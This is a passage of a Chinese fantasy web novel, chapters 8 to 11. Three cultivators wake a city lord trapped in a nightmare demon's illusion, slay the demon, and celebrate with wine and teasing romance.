他诧异道:“你们也是来找方城主的?”
苏折映点头,三人一起进去。
方无言坐在院中石桌旁,手边放着算盘,手指时不时拨动两下,愁眉苦脸的。
瞧见三人,他起身道:“几位大人可是有了什么线索?”
苏折映环着手臂没开口,江清野瞬间出手,指尖点上方无言额间。他双眸定定看着对方。
郁秋冥讶然,苏折映给他解释,“他们家族皆是摄魂人。”
就见方无言眼神逐渐失去焦距。
半晌,他开口木然道:“阿澜。”
8. 镜花水月(一)
“!”
江清野眉梢猛地一皱,沉声道:“他已经被人摄魂控制了。”
苏折映亦是蹙眉,“怎么会?”
大陆上的摄魂人屈指可数,她所知道的也只有隐世江家。
再者,普通摄魂人还不足去直接控制被摄魂者,方无言的表现自始至终都像是个正常人。
可现在却说,方无言早就被控制了?
简直让人难以置信!
“不是摄魂人。”江清野摇头,“倒像是魇魔。他将我当做摄魂者了。”
方无言眼神空洞迷茫,却是对着江清野笑得温和,他柔声道:“不是说了不要乱出来吗?你身子还没好。”
他抬手就要抚上江清野的脸,后者黑着脸躲开。
方无言疑惑道:“阿澜?”
“能否将他唤醒?”郁秋冥问道。
江清野从乾坤袋取出一捆麻绳将他双手缚住,松口气,才回答道:“是可以,不过会有疯傻失忆的可能。”
苏折映道:“眼下没有别的办法了吧。”
且不说孟澜背后是否还有人,单现在去找她就已经是打草惊蛇了。
江清野叹声,“说的不错。不过我还需要二位帮忙。”
两人答应。
他伸手,覆上方无言双眼,精神力进入,白光突现。
三人一齐被拉入幻境中。
眼前光景瞬息之间几度变幻,最终定格在一处坐落在万仞峭壁之上的阁楼中。
宽阔的玉石阶蜿蜒而上,一座座高阁错落有致地分布在山峦之间。
苏折映回过神,低头一看,身上的黑衣不知何时变成了一身侍者的白衣,此时正立在门前。
她打量一圈,白雕石柱上刻着各种妖兽图案,四周云雾缭绕,不远处一座金色宝塔矗立在云间,周身泛着淡淡的金光。
铛——
塔那边传出悦耳的撞铃声,空中骤然刮起了风,数千道黑衣身影御剑而来,齐齐停在大殿前,苏折映望下去,乌黑一片。
她这是到了方无言的识海幻镜?
可为何是在万象宗?
来不及思索,她一眼看到人群前方的郁秋冥,一身黑色弟子服,腰间挂着剑,没穿出正道弟子的样子,反倒是有种歪魔邪道的感觉,竟与他意外相衬。
郁秋冥也瞧见了她,即使是普通侍者服也遮不住她身上浑然而成的不羁和邪气。
见郁秋冥直直盯着自己,苏折映朝他扬眉,无声道:
“我怎么样?”
他瞬间移开眼。
忽然,人群一阵骚动,弟子们皆躬下身,齐声道:“拜见宗主。”
苏折映小幅度偏头,余光瞥见殿里走出了三个人。
一个是方无言,一个是万象宗宗主方无澈,还有一个看着面生的青年男人。
她这才发现,眼前这个方无言较方城的比更为年轻,没有了那温和的书卷气,反而满身傲气和张扬。不仅如此,眼前这人的样貌与方无澈更为相像。
她还从未听说过方无澈有同族兄弟。
然而,下一秒就听方无澈道:“今日将你们召集在此是想告知一件事——”
方无澈将身侧的方无言拉到前面,“从今往后,万象宗大长老方无言将被逐出万象宗!此后,万象宗再无方无言!而我方无澈也没有这个弟弟!”
底下的弟子一阵哔然,却是不敢当面讨论。
苏折映却是震惊不已,没想到方无言藏这么深,也怪这万象宗瞒得太好了。这么多年来,大陆之中从未有过方无澈宗族的传言,以至于她从未将方无言三个字与万象宗联系在一起。
同样震惊的还有人群里的郁秋冥和那个青年男人。
苏折映看向他,两人视线交汇,她瞬间了然。
原来是江清野。
但是,三人之中,只有江清野的容貌发生了变化,是因为他是摄魂人的缘故吗?
“哼。”
方无澈冷哼一声,玄色长袍勾勒出健壮的腰身,剑眉一横,对方无言道:“你走吧。我万象宗可容不下你这尊大佛。”
此时的方无言一身桀骜,扬声道:“你会为今日的选择后悔!万象宗也会葬送在你方无澈手里!”
话落,方无言毫不留恋地离开。
方无澈也是一甩衣袖,沉着脸走了。
一场不欢而散的闹剧,苏折映听得云里雾里。
底下的弟子也一哄而散,三两成群地结伴讨论着。郁秋冥避开人群,朝苏折映这边过来。
江清野带着两人寻了处偏僻地,向两人解释一番。
原来,这方无言是万象宗前宗主的老幺,与方无澈乃是亲兄弟。前宗主离世后,方无澈继位,方无言担大长老来辅佐方无澈。可惜两人意见频频不合,久而久之,两人相看两厌。今日更是因一事起了争执,方无言决定离开万象宗。
“与其说这里是识海幻境,倒不说是方无言的心境更为贴合。因为摄魂者将他困在了过去。”江清野道。
“所以我们在这里是有真实身份的?”苏折映问道,她打量一番江清野,平平无奇的脸,丝毫不见之前那张温润面容。
江清野点头,“是,不过我作为摄魂人进入这里,不能暴露本相,否则也很容易被摄魂者觉察到。所以我在这心境里行动受限,这也是将两位带进来的原因。”
苏折映了然,摄魂人不能擅自破坏他人的心境。所以,唤醒方无言的任务落到了她和小师弟身上。
“如何破除?”郁秋冥问道。
“只要——”
江清野刚开口,眼前便是一阵地动山摇,周身的景象如镜中画一般逐渐瓦解开。
三人皆是感觉身体一轻,被一股强制力量托起,分别拉向三个方向。
“江清野!”苏折映喊道。
把话说完!!
江清野立马高声道:“找到关键一幕,唤醒他!”
三人眼前一黑,失去了五感。
苏折映面前再次亮起时,她一身水蓝色罗裙,站在方城的街市上。
彼时的方城可谓热闹非凡,酒楼食客满座,街中杂耍艺人赤膊上身,百姓们高声喝彩。
她被如潮的人浪裹挟其中,没有看到郁秋冥和江清野,更没有看到方无言。
苏折映随人群往前走,路过一间胭脂铺子,铺子门前摆了不少铜镜木镜,连玉镜也有不少。她随意一瞥,顿时怔住。
镜中人群来往,但她依旧能清楚看到那抹原地不动的水蓝色身影,顶着一张陌生女人的脸。
这张脸眉眼含情,藏着盈盈秋波,与苏折映原本那张玩世不恭的脸全然相反。
不就如此,她也逐渐反应过来,“她”这副身体根本不是自己的。
“阿澜!”
人群中一声嘹亮的声音直入苏折映耳中,身体下意识做出了反应,率先转头。
方无言
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一身月白袍,腰间挂着把折扇,眉目间没有了万象宗时的桀骜,身形逐渐与如今的方无言重合。
这大概就是方无言离开万象宗之后的事了。
“阿澜,你怎么自己出来了?孟家没有派侍从跟着吗?”方无言气喘吁吁跑来,担忧道。
苏折映张嘴,却惊觉自己不能出声,想抬手,发现手也不能动弹。
方无言疑惑道:“阿澜?”
“我想自己转转,就让他们回去了。”苏折映开口,但却不是她说的,这具身体自己在说话。
一身两魂?
不。
她并没有在这具身体里察觉到第二个魂魄。
“快要中秋了,城中最近人多,你若是想转,我便陪着你吧。”方无言无奈笑道,他伸手揉上孟澜发顶。
惊得苏折映神魂一个激灵,如果可以控制身体,她大概会把方无言掀飞。
苏折映:不要……
孟澜:“好。”
苏折映:……
两人并肩走在街中,因为人多,孟澜挨得很近。方无言也有意无意地帮她挡去周身的人。
苏折映将注意力都放在了人群中,却始终没有看到郁秋冥。
“阿澜可有吃饭?”路过酒楼时,方无言问道。
此时正值晌午,酒楼生意火爆,远远就闻见一股香味。
孟澜笑着点头,方无言带她进去,在二楼包了一雅间。
掌柜的唤来一小二,“去,带孟小姐和方公子到二楼伺候着。”
不远处走过来一个身形高挑的小侍,苏折映定眼一瞧,心里狂笑。
眼前这小二可不就是她小师弟吗!
郁秋冥一身粗布,墨发被束进素罗帽中,尽管如此,他单凭一张优越的脸便引得一楼的女客们频频回头。
他走到两人身前时,苏折映明显感觉到他愣了下。
方无言忽然凑近她,低声道:“阿澜看他作甚?”
苏折映遽然一僵,眼神下意识看向郁秋冥。后者却是沉眸盯着方无言,似乎没把她当回事。
“无言,我们上去吧。”孟澜莞尔一笑,挽上方无言的手臂。
“好。”
孟澜与方无言并肩而行,郁秋冥跟在身后,黑眸像是晕了墨,沉得让人感到发寒。
苏折映莫名打了身冷颤。
雅间内,方无言与孟澜畅谈。
苏折映也明显感觉到两人之间关系的亲密,情浓时嘛,她也理解。
苏折映的手端着桌上的茶水,恰好郁秋冥此时进来上菜。他规整地一道一道摆放好,收手时,无意间碰到她手中的茶盏。
她中手一轻,瓷杯应声而碎,茶水溅了一身。
“这位小姐是在不好意思。”郁秋冥低头,歉声道:“小姐若是不介意,后堂有新的衣裳,小的带您去。”
孟澜犹豫一下,看向方无言,后者朝她点点头,才道:“好,麻烦了。”
苏折映松口气,跟着郁秋冥出去,眼见越走越远。不只怎么走的,七拐八拐便从酒楼拐到一处暗巷里。
她也明显感觉到身体一松,有了身体的主控权。
郁秋冥转过身,歪着头,漏出了尖尖的小虎牙。
苏折映第一次觉得她完全不了解郁秋冥,眼前的人给她感觉很陌生。
难不成这一幕里的他没有外界记忆?
苏折映心里一沉,就听他道:“孟小姐。”
9. 镜花水月(二)
闻言,苏折映一顿。
郁秋冥直直看着她,喉间一阵轻笑,道:“孟小姐与方公子关系很亲近。”
苏折映皱眉,随口扯道:“嗯,老夫老妻。”
她端详着郁秋冥,看样子是不记得了。
苏折映面露遗憾,郁秋冥却突然道:“小姐是要丢下我了吗?”
苏折映:?
却见眼前身形高挑的少年双眼泛红,活脱脱一个被欺负狠了的样子。
苏折映更加确定郁秋冥没有了外界记忆,神色顿时怜悯起来,不管三七二十一,直接道:“怎么会?我不会丢下你的。”
这么可爱的小师弟,她喜欢还来不及呢。
“那小姐为何装作不认识我?”说着,郁秋冥低下头,将头凑近她,轻声道:“还与方公子这般亲密。”
苏折映呼吸一滞,大脑有些空白。
离得太近了。
“——阿澜?”
方无言站在暗巷口,身形隐在右侧的阴影下,不知站了多久,两人的对话又听去来了多少。
苏折映瞬间感觉身体一沉,那种禁锢感再次回来。
她了然,好像方无言在身边时,她就会失去身体的掌控权。
孟澜跑向他,“你怎么过来了?”
“不放心便去问了掌柜,他说你们来后院了,找了会儿才发现在这巷子里。你们认识?”方无言看向郁秋冥,笑道。
孟澜一怔,显然,原本的孟澜并不认识郁秋冥。
郁秋冥却疏离道:“孟小姐曾有恩于我,今日只是想借此向孟小姐道谢。”
方无言点头,“如此,阿澜我们走吧,去布衣坊换一身衣服。”
孟澜跟着方无言离开,在布衣坊重新换了身衣裳后,便有个侍卫急匆匆赶来,催促她回去。
方无言温柔地帮孟澜理了额前的碎发,笑道:“阿澜,回去吧,下次若是想出来派个人来唤我就是。”
孟澜点头,眼中满是不舍,两人在侍卫的催促下又温存片刻,最后才一步三回头地离开。
苏折还挺纳闷的,回个家怎么就跟生死离别似的?
等方无言离开,苏折映跟着侍卫回孟府,本以为远离了方无言就会有身体的掌控权,可到了孟府胡后才发现没有她想的那么简单。
在离孟府几步远时,身体再次一沉。
苏折映索性随它去了。
孟家也算是方城有头有脸的大商户。邸府修得气派,孟澜刚到门前,守着的侍女便立马迎上来,接过她手中溅上茶渍的衣服,道:“小姐,老爷和夫人回来了。”
原本还闷闷不乐的孟澜瞬间喜上眉梢,提着衣摆小跑进去,边跑边喊道:“爹!娘!”
“诶,小姐慢些!”
因为去平梁经商的缘故,孟澜在很小的时候就被托给府中的张伯伯照顾,一年内见到她爹娘的次数屈指可数。
孟父孟母闻声出来,接了她一个满怀。
孟父已经四十来岁了,常年奔波让他脸上的皱褶更加明显,他宠溺道:“傻姑娘,爹娘又不会跑,不用这么着急。”
孟母也执起她的手,细细打量自己的孩子,看着看着,眼眶就泛起了红,欣慰道:“我们的阿澜长大了不少,已经变成了漂亮的大姑娘了。就是娘没有好好看着阿澜成长。”
“都不重要。你们回来阿澜就很高兴了。”孟澜扑进孟母怀里,依赖地闭上眼。
始终看着的苏折映忽然觉得羡慕,她虽为溟川屿的少主,从小天赋异凛,两道双修,亦是同龄之中众星捧月的存在,财富权利实力样样不缺。但独独没有感受过此时的温暖。
苏折映觉得,此时的自己就像是躲进米缸的老鼠,跳进来尝到了甜头,就会开始留恋,甚至不想出去。
这大概也是有人愿意沉沦在幻境的原因吧。
还真是,让人舍不得出去。
“对了,爹娘怎么突然回来了?”孟澜抬头。
孟父孟母相视一笑,揶揄道:“当然是听你张伯伯说咱家的阿澜有心仪的公子了,我们还让你张伯伯替我们观察过了,虽然穷了点,但是人品不错,也有才华,重要的是阿澜喜欢。这才匆匆赶回来,给你操办婚事。”
孟澜脸突然就红了,“会不会太快了?”
“不会。早早定下我们也放心。”孟母笑道。
*
一连几日,孟府里忙着张办婚事,苏折映没有在见到郁秋冥,倒是孟澜,隔三差五就溜出去找方无言。
苏折映观察许久,她不确定江清野所说的关键一幕是哪里,但她猜是他们的婚事。
可如今她困在孟澜身体里,行动受限,江清野不知所踪,郁秋冥也联系不上。
再有三日便要结亲了。过了这个节点,日后还有机会吗?
苏折映趴在窗前,今日孟父孟母去寻媒婆,她也行动自由了些。
前几日她去酒楼问过掌柜,掌柜的却说郁秋冥早些时便不再酒楼干活了,也不知道去了哪。
“小姐。”
闻声,苏折映蓦然回神,就见院中的树上坐着个黑衣少年,半靠着树,双手抱臂。
风吹得衣袍随着树叶一起沙沙作响,他笑得有些邪气,道:“小姐不认得我了?”
“你叫什么名字?”苏折映突然问道。
他道:“苏郁。”
苏折映诧异道:“你有外界记忆?”
“什么?”少年拧眉。
“郁秋冥?”苏折映试探一声。
“那是何人?”苏郁歪头,问道。
“无事。”苏折映叹气,她该怎么唤醒方无言?
苏郁悬着的一条腿在空中晃了两下,一双黑眸直勾勾盯着苏折映他道:“小姐要嫁给方公子吗?”
苏折映脑袋打圈,灵光一现,想到个好办法。
她双眸亮起,朝树上的少年笑道:“苏郁,你喜欢我吗?”
晃动着的腿一滞,风好像也跟着停了,只剩下苏郁自己的呼吸声和心跳声。
一下。
两下。
良久,苏折映听道很轻的一声。
“喜欢。”
她展颜一笑,接着道:“三日后我结亲,想办法将我劫走。”
苏郁感受着胸口的悸动,下意识应声。
苏折映说完才觉得有些不合适,耳根有些发热,转身关了窗。
给自己倒杯茶,开导自己,不过是个幻境罢了,再说,此时她也不是苏折映,而是孟澜。
三日不长,虽然准备时间很短,但孟父孟母安排的一切都是最好的。
苏折映一早就被拉起来梳妆打扮,她应付着。等侍女婆婆们出去,她才僵着身脱了婚服,换上一身便衣,仅仅把最外层套在上面。
红盖头盖下,苏折映神魂视物,被引着一步步出门。
外面鼓乐升天,整个方城都快要有一半的人来凑热闹,前院设了数张木桌,来客纷纷道贺,就连门外都挤了不少百姓,笑着脸往里面瞧。
因为方无言无父无母,拜堂的地点就直接在孟府进行了。
方无言在孟府门前下马,火红的婚服穿在身上,像是又变成了万象宗那个桀骜的少年。
他利落地翻身下马,跨进门走到孟澜身侧,伸手牵着红绸,媒婆引着她将手抓住另一端。
“请新人入堂!”
孟澜被搀着往前,苏折映算着时机,心道差不多要来了吧。
也不知道这心境中苏
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郁的实力如何。
红绣鞋擦着小碎石。
一步。
两步。
“抬脚。”媒婆在一旁提醒。
孟澜抬脚,在即将跨过火盆时,剑光一闪,冷锋擦着方无言侧脸而过,斩断了两人之间的红绸!
一阵躁动中,苏郁一身黑色劲装,跨门而入。
“今日这亲可结不成。”
他弯腰捡起苏折映那一段的红绸,用力往怀中一拉,苏折映一阵晕眩,感到有东西在拉扯着神魂,她撞进他怀里,顶着的红盖头落在了脚边。
方无言皱眉,“什么意思?”
他转脸看向苏郁怀中的人,顿时愣在原地,而后怒声道:“阿澜呢?!”
苏郁怀里的人显然是苏折映的模样,她此时侧头,眼眸狭长,眼尾微微上挑,婚服披在她身上衬得更加张扬不羁。
孟父孟母也从大厅出来,问道:“怎么回事?”
“阿澜呢?”方无言又问。
她从苏郁怀中出来,薄唇微张,说的话却是让他崩溃,“方无言醒醒吧,这是假的。”
“假的?什么假的?你们是何人?阿澜呢?”孟母环视一圈也没见到孟澜,反倒是这个陌生女孩穿着婚服,顿时着急了。
“怎么会……”方无言喃喃,有些神志不清,“阿澜……”
“阿澜你在哪?”他在人群张望,最后挤开守在门口的百姓,冲到街中。
彼时方无言耳边不断回响着,“假的,假的,一切都是假的!!”
苏折映追出去,看到方无言跪在街上,两边的百姓不明所以,对着这个穿着婚服的男人指指点点。
“这不是方公子吗?”
“是啊,怎么回事?他今日不是要迎娶孟家千金了吗?”
“谁知道呢?不会出什么事了吧……”
越来越多的百姓围过来,有人低声讨论,也有人想上前安慰一番,却被旁边的人一把拦下。
方无言就这么失了魂一样,孤零零跪在原地。
苏郁也赶了出来,却是盯着苏折映。
她挑眉,笑道:“怎么,不是你家孟小姐,失望了?”
苏郁错开脸,垂下眸,声音微哑,“你该离开了。”
话落,一道雷鸣闪过,方才还湛蓝的天色却在此时瞬间阴沉下来。不多时,便灰蒙蒙一片了。
方城再一次下了雨,这场雨来得突然,百姓纷纷跑回家中,方无却还跪在街上一动不动。
地面突然震荡起来,心境已经有了崩解的趋势,而方无言还迟迟未醒。
豆粒大的雨越下越急,方无言像个被丢弃的木偶,在雨幕里无人问津。
方无言喃喃:“阿澜你在哪啊……”
他不接受这一切,他要等阿澜回来成亲。
过往的一幕幕在脑海里再次被回忆起来。
他记得,两人初遇的那天也是这样阴雨绵绵。
他那时刚从万象宗出来,身无分文,城中人个个撑着伞与他侧身而过。
冷风裹挟着尘泥味窜入衣中。
方无言眼前突然映入一双蓝色绣鞋,一把纸伞递来。
他晕着头,隐约听到一句:“公子,需要伞吗?”
从那时开始,方无言有了想要追逐的人。
方城的小院几处已经开始坍塌,方无言神色还在愉悦和痛苦间交替,他似乎感知不到周身的一切。
忽然,头顶有东西带起一阵凉风,雨好像停了。
他怔怔抬头,一把油纸伞撑在他头顶,顺着伞,方无言记忆中的那抹水蓝色身影在此时重合,眼中不禁蓄满了泪。
他听见了熟悉的声音。
她说:“该醒了,无言。”
10. 迷雾
在心境崩溃前,苏折映忽然被一股力量排斥出来。
她睁开眼,鼻间有一股浓郁的血腥味。
就见江清野弟子服上一片鲜艳,口中还有血不断外涌。他身形一晃,被郁秋冥手疾眼快扶住。
方无言已经从心境中出来,此时双目失神,依旧喃喃道:“阿澜。”
江清野擦了擦唇边的血,道:“我被摄魂者发现,他将我强行打了出来。”
“可清楚摄魂者是谁?”苏折映问道。
江清野摇头,“方城主或许会知道。”
三人将目光落到方无言身上。
“方城主。”苏折映喊道。
方无言缓缓转动眼珠,逐渐回神。
苏折映道:“可记得最近发生的事?”
他点头,一脸颓丧,道:“是阿澜……不,不是她。”
苏折映眼神一凌,冲了出去,喊道:“孟澜就是方城的那只魇魔。”
郁秋冥也跟出去。江清野则留下来看着方无言。
两人直冲孟澜的院子,等破开屋门时,屋里已经空了。
床榻上还残留着一滩黑稠的东西,散发着恶臭。
苏折映忽然笑了,舌尖磨着虎牙,“错了。”
从烧酒那里就错了,烧酒根本就是在混淆视听。让他们误以为作案者会用烧酒灌醉百姓,进行交易或者偷偷带走。
其实,根本不是。
那是方无言给自己和他们的暗示。
孟家去平梁经商会带烧酒回来,方无言在变相暗示他们凶手就是孟澜。
虽然他们也怀疑,但孟澜根本就没有行动过,她借刀杀人,而他们刚好忽略了方无言这把“刀”。
苏折映踏出城主府,熟练地抽了郁秋冥的剑。对着门前的狻猊一挥,两只雌性狻猊被劈成一半。
方城的阴霾明显少了很多。
狮头向内,聚阴邪之气。
“去酒肆。”
苏折映走在最前,抬手在酒肆外布下了法阵,然后一脚踹开酒肆的木门。
一股阴湿腐败的气味散开,里面黑影一闪,就要破窗而逃。
苏折映勾唇,“跑得了吗?”
孟澜脚下突然窜出数根藤蔓,死死缠上她的脚踝,甚至还在往上蔓延!
她面目突然变得狰狞,容貌开始扭曲变幻,最终成了另一个女人的样子,深紫色的头发凌乱,周身泛着淡淡的黑气。
“抓了我又如何?抓了我你们就能找回消失的百姓了吗?哈哈——”魇魔狂笑道。
她的任务已经完成,死了又如何?
“孟澜呢?”苏折映问道。
魇魔阴恻恻笑道:“你不是已经知道了吗?”
当然是死了。
“那你也一起吧。”苏折映冷笑。
缠在她身上的藤蔓长出倒刺,变长,再变长,直到小尖刺重新长成一条条新的藤蔓,穿透她,捅成筛子。
最终一点点消散在空气中。
“走吧。”苏折映转身。
郁秋冥迟疑一下,问道:“师姐如何得知她在此处?”
苏折映奇怪看他一看,“‘孟澜’既然是魇魔,那她在心境中将江清野强行打出去,她必然也会重伤,而酒肆,是孟澜家的,魇魔一旦幻化成别人的模样,如若受伤,就必须回到这个人相关的地方,城主府已经不安全了,她肯定要逃。”
这还是老头告诉她的。
清理了魇魔,眼下就剩一个方无言了。
两人回到城主府,方无言正在给江清野找一身新衣裳,看样子是回神了。
四人聚在桌边,苏折映笑道:“说说吧。”
她能肯定,方无言记得被控制时发生的事,不然也不会漏出破绽,至少魇魔不会让他漏出。
方无言叹口气,该来的总会来,他道:“起先我并不知道阿澜已经被……后来方城有人莫名失踪时,我撞破了她与百姓交易的一幕,之后我的意识就很模糊了,我被困在你们所说的那个叫心境的地方,但不知为何我却可以感知到外界,虽然不能控制自己,但有些时候身体还是会遵从我下意识行为。”
“所以你故意将烧酒留在酒肆外面,又让人换了狻猊?”苏折映笑道。
魇魔这种没什么脑子的东西可不会想这么多,这些小动作她也不会放在眼里。
方无言点头。
“那你跟万象宗——”
“说来好笑。”方无言苦笑一声,“你们也知道了,我是方无澈弟弟,曾经的大长老。虽然我与他意见不和,争吵不断,但也不足以让我离开。但是那天兄长找到我说万象宗要与魇魔合作,收归王朝和各宗门,我严词拒绝,他却一意孤行,甚至联合其他长老排挤。我不想蹚这浑水,就离开了。”
“你是说,万象宗与魇魔合作要收归王朝?”江清野突然激动道。
郁秋冥也是沉下脸。
方无言吓了一跳,点头道:“几日前,郁氏王朝灭族的消息各位大人想必也知道,我想,其中就有万象宗的参与。因为此次方城的灾难也是因万象宗而起。”
“我在离开前就听方无澈提到过他要捉不少活人来,起初他只抓了些罪大恶极之人,我便没有多想。现在想来,他大概是知道我在此,才先对方城动了手,是我对不起方城的百姓,对不起阿澜。”他苦笑道,眼眶湿润。
“不是你的错。你能做到这个份上已经很好了。”江清野温声道,眼底却是止不住的愤怒。
“各位大人,如今危机已解,不妨再休息一晚,方某想好好感谢你们。”方无言道。
“江清野还有伤,那就再休息一晚。”苏折映随意道,不想,郁秋冥却是看过来。
“怎么了?”苏折映疑惑道。
郁秋冥摇头。
“诶,青冥宗的那几个呢?”她看向江清野,突然想起来今日这动静居然没看到他们。
江清野扶额,“昨夜向我禀告后就回去了。”
“难怪。”苏折映啧声。
“大人们若没有想问的,方某便要去通知百姓们了。”
“方城主去忙。”苏折映罢手。
方无言便立刻出去告知危机解除了,不过失踪的人却没能找到。万象宗好歹也是四宗之一,从那里抢人,还是要从长计议的。
凶手被抓的消息很快在方城传了遍,全城欢庆。
闭了多日的店铺各个重新开张,清冷的方城一下子恢复了往日的生气,各家都派人拿着自家准备的谢礼来到城主府前,想亲自感谢他们。但被阿臻一一回绝。
阿臻背靠着红木门,使出吃奶的劲儿抵着门,外面的百姓一下一下拍着,他的小身板就跟着一下一下起伏着,那模样当真是好笑极了。
苏折映一手搭在郁秋冥的肩膀上,一手抱腹,笑了好久。
阿臻憋红了脸,郁秋冥看不下去了
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,道:“别笑他了。”
闻言,果然没了笑声,但是从她微颤的肩膀还是能看出,没完全停下。
阿臻冲着他俩大喊:“哥哥好,姐姐坏!”
谁知他这一喊,苏折映噗呲一下,又笑出了声。
郁秋冥只能半拉半拖将人带走了。
大门是走不了了,苏折映带着他翻墙出去。
城中大多数还是没见过他们二人的样貌,来往百姓只当是哪家的公子小姐,倒也没什么不妥。
苏折映悠哉道:“心境中第二幕里你还记得发生了什么吗?”
她问得随意,像是什么大不了的事。
郁秋冥却是身体一僵,他侧脸看她一看,黑眸沉沉,道:“不记得。”
“当真?”苏折映背着手,一脸老成。
郁秋冥道:“当真。”
天色渐渐暗下来,往日这里会一片乌黑,如今却是张灯结彩,甚至有人燃了烟花。
苏折映抬眼,细碎的星火映在她眼里,她挑起嘴角,故意问道:“那小师弟是不是也不记得心境里说的话了?”
郁秋冥一顿,忽然有些不安,抿唇道:“什么话。”
“想知道?”苏折映勾手,示意他靠过来。
郁秋冥垂着眼,鬼使神差地俯身,将耳朵凑在她脸前。
檀香味窜入鼻间,便听见她轻声说:“小师弟说,他喜欢师姐。”
烟花又一次炸开在头顶上空,比之前的任何一次都更大更响,也更绚烂。
她的话像羽毛一样轻扫着他,又随烟花炸开在了郁秋冥心口。
有些闷。
他垂在身侧的手指尖微颤,还没做出反应,苏折映倒是先拉开了距离。
她有些不自然地轻咳一声,她恨自己不争气,不过调戏一下小师弟,人家小师弟还没反应呢,自己耳朵便先热起来了。
苏折映将视线放在街上,她随便指了一处,含糊道:“我去买几块点心。”
郁秋冥看着她直冲跑向一个算命摊位说要买点心,没忍住笑了。
他盯着那抹身影好一会儿,手摸到腰间的百合吊坠。
其实,他都记得。
不远处,苏折映朝身后的郁秋冥挥手,喊道:“小师弟!”
郁秋冥赶过来,站到她身侧。
苏折映面前的老头眯着眼,往嘴里灌了一口酒,翘起白胡须道:“呦,好命!”
“谁?”苏折映问道。
“当然是你们俩。”老头又喝了一口。
苏折映怀疑道:“假的吧。”
“呦呵,不信?”老头眯着的眼睁开,双眸精光,“老朽再给你算一卦?”
苏折映随意道:“算吧。”
老头把酒葫芦一丢,盯了她好半晌,然后才摸着胡子,说道:“不得了不得了,半神命格,无缘无缘!”
“什么意思?”她笑道。
“什么意思?”老头斜她一眼,“意思就是,好命变烂命!”
郁秋冥面色一沉,漱玉出鞘,被苏折映压回去。
老头又把酒葫芦打开,猛灌一口,有些上头了,他指着郁秋冥,说道:“你小子!嗝…好命!命……不久矣……”
苏折映啧了一声,“酒品真差。”
郁秋冥点头,难得附和,“确实不怎么样。”
提到酒了——
苏折映忽然道:“小师弟,去喝酒?”
11. 新生
“师尊不是说——”
“他又不知道。”苏折映抓住他的袖子,拉到了之前那家酒肆门前。
灰尘被打扫的干干净净,还没跨进门,就有一个约莫五十来岁的男子出来,脸上满是岁月的苍痕,看见门前的两人愣了一下。
“客人是来买酒的吗?”张伯问道。
郁秋冥张嘴就要拒绝,苏折映手疾眼快拉下他。
“是,可有什么好酒?”她捂着郁秋冥的嘴,笑着道。
张伯也也笑了一下,转身进去,说道:“是有几坛好酒。”
没一会儿,他提了两大坛酒罐子,红布盖一掀,醇香四散。
张伯道:“当家的自藏,本想着等当家的回来再拆的,如今放这里也是浪费了。”
苏折映接过,递给郁秋冥一坛,从乾坤袋掏出个锦袋,问道:“两坛多少玄石?”
张伯连忙罢手,“不收钱不收钱。”
“那怎行?”
虽然她也干过不少烧杀抢掠的事,但欺负普通百姓的事她可干不来。
“诶,你们就是救了方城的仙师吧。”张伯道。
“仙师?……不敢当。”苏折映尴尬道,忽然就想起了青冥宗的那几人。
张伯望向门前挂着的酒肆牌匾,眼里满是怅然和怀念,“没有你们,方城不知道还要失踪多少人。”
“酒你们就带走吧,也算是有了珍藏这么久的意义。”
*
夜幕落下,两人带着酒回了城主府。
方无言在前厅设了小宴,江清野和阿臻都在。
前厅内,方无言命人新换了几张矮案,糕点饭菜都已备个齐全。
“方城主动作还挺快。”苏折映跨过门槛,手里拎着酒坛子,郁秋冥跟着她身后,手里同样拿着一坛。
江清野诧异道:“你们去买酒了?”
“酒肆送的。”苏折映将手里那坛放在方无言面前,“方公子可认得?”
方无言只看了一眼便知道是孟父自藏的蔷薇露。
他笑道:“认得,岳父自己藏了好久都舍不得拿出来的蔷薇露。”
“有口福喽。”苏折映跃跃欲试。
方无言与江清野一坛,她与郁秋冥开一坛。
“阿臻的呢?”一双大眼眼巴巴凑过来。
她伸手捏了下他的脸,“小孩不准喝。”
阿臻一蔫,又乖乖坐回去了。
苏折映给自己倒了杯,醇香里又带着点清甜味,她眯着眼,一饮而尽。
好酒!
难怪老头不准她喝酒呢,这么个好东西换作是她她也要私藏起来。
这么一想,苏折映眉梢一动,她忽然想起来老头几年前在后院的树底下埋过几坛。
苏折映用臂肘撞了下郁秋冥,后者看过来,她挤眉弄眼道:“这就如何?”
郁秋冥道:“尚可。”
苏折映嘿嘿一笑,低声道:“等回溟川屿,我带你去尝尝老头藏的酒。肯定不比这个差!”
郁秋冥沉默了一下,最终点头答应了。
方无言见气氛不错,端着酒盏起身道:“来,方某敬三位大人一杯!若无你们,方城怕真是凶多吉少了。”
三人也端起,虚虚一碰。
苏折映笑道:“除魔卫道,本职分也。”
江清野闻言,忽然咳嗽出声,一言难尽地看向她。
苏折映笑吟吟望过去,像是威胁,但更像是警告。
“苏侠士大义!”方无言高喝道。
说着,两人又对碰几杯。
江清野平时很少饮酒,今日像是被这氛围感染,也尝了不少,时不时还要提醒她和郁秋冥,“别忘了你家老头可不许你们饮酒。”
“知道知道,小酌。”苏折映又倒了一杯。
方无言刚开始还笑着喝了几杯,这会儿已经哭起来了,阿澜阿澜的叫着。吵得苏折映头疼,抄起身边的空杯砸过去了。
正中眉心,方无言额头鼓起个大包,紧接着又是咚的一声,睡地上了。
阿臻一惊,连忙跑出去叫人来把方无言带回去。
倒是郁秋冥,虽然也喝了不少,但看着却像没喝一样。
他执着酒盏,静静坐在那里出神。
苏折映将手放在他面前晃了晃,“小师弟?”
郁秋冥看过去。
“你是不是醉了?”她眼尾和耳朵都泛着红,笑吟吟道。
“没有。”
“哦,醉了啊。”苏折映头一歪,趴在了桌案上,嘴里还嘀咕道:“酒量真差。”
郁秋冥:?
江清野不知道什么时候离开了。
酒过三巡,郁秋冥纵使没醉也有些倦了。
他敲了敲苏折映的桌沿,道:“醒醒,回去再睡。”
苏折映朦胧睁眼,下一秒又合上。
“苏折映。”他喊道。
这次眼都不睁了。
苏折映脚边倒着酒坛子,里面已经空了,大多都进到了她腹中。
郁秋冥绕过去,想扶她起来,却又无从下手。
他一只手搭在苏折映肩上晃了晃,试图摇醒她。
苏折映只是皱了下眉,却没有丝毫要醒过来的意思。
“得罪了。”郁秋冥道。
他拉过苏折映一只手搭在自己肩上,另一只手虚扶着她的腰,将她带起身。
苏折映有了反应,刚才怎么都叫不醒的人,现在却突然睁开眼,抬起垂在身侧的手就朝郁秋冥的胸口挥去。
怕她摔下去,郁秋冥结结实实挨了这一拳。
